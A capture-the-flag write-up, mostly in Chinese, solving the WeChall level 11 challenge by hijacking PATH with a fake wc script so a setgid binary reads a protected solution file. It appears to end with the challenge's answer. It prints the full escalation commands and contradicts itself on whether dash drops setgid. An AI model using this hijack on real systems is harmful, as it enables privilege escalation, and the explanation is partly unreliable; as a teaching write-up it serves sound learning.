WeChall - Choose your Path II

Challenge

This is the level11 mini challenge found in /home/level/11_choose_your_path2/ on the warchall box.

Choose your Path 续集。同样是一个 C 程序 charp2,用 popen() 执行 wc 统计文件行数和字符数。

与 level10 charp 的区别:

特性 charp (level10) charp2 (level11)
wc 路径 硬编码 /usr/bin/wc 直接用 wc(依赖 PATH)
参数包裹 直接拼接 单引号包裹 '%s'
引号转义 escape_single_quotes()''\''

Level 10 是靠 command injection(popen() 不处理 shell metachar),而 level 11 加上了单引号包裹和转义函数,所以 command injection 被堵了。

但新的漏洞是:wc 没有指定绝对路径,可以通过 PATH 环境变量劫持。

Solution

charp2 是 setgid level11 的程序:

1
2
3
$ ls -la /home/level/11_choose_your_path2/
-rwxr-sr-x 1 level11 level11 16440 ... charp2 # setgid!
-rw-r----- 1 root level11 297 ... solution.txt # 只有 level11 可读

solution.txt 只允许 level11 group 读取,但 charp2 执行时有效 GID 变成 level11,所以可以读取。

攻击步骤:

  1. 创建一个 fake wc 脚本
  2. 把它的目录加到 PATH 最前面
  3. 运行 charp2,它通过 popen("wc -l '...'") 执行时,会找到我们的 fake wc
  4. fake wc 继承 charp2 的 setgid 权限(popen/bin/sh -cexec,dash 不会丢弃 setgid),能读取 solution.txt
1
2
3
4
5
6
7
8
9
10
11
12
# 创建 fake wc
mkdir -p ~/mypayload
cat > ~/mypayload/wc << 'EOF'
#!/bin/bash
cat /home/level/11_choose_your_path2/solution.txt 1>&2
echo "1 5" # 让 charp2 能正常解析数字
EOF
chmod +x ~/mypayload/wc

# 执行
cd /home/level/11_choose_your_path2
PATH=~/mypayload:$PATH ./charp2 solution.txt

原理:

  • popen("wc -l 'solution.txt'", "r")/bin/sh -c "wc -l 'solution.txt'"
  • /bin/sh is dash(不是 bash),dash 会丢弃继承的 setgid
  • dash 通过 PATH 找到我们的 ~/mypayload/wc,执行时仍保有 charp2 的 EGID=level11
  • 所以 fake wc 可以 cat solution.txt
CodingIsDamnHard3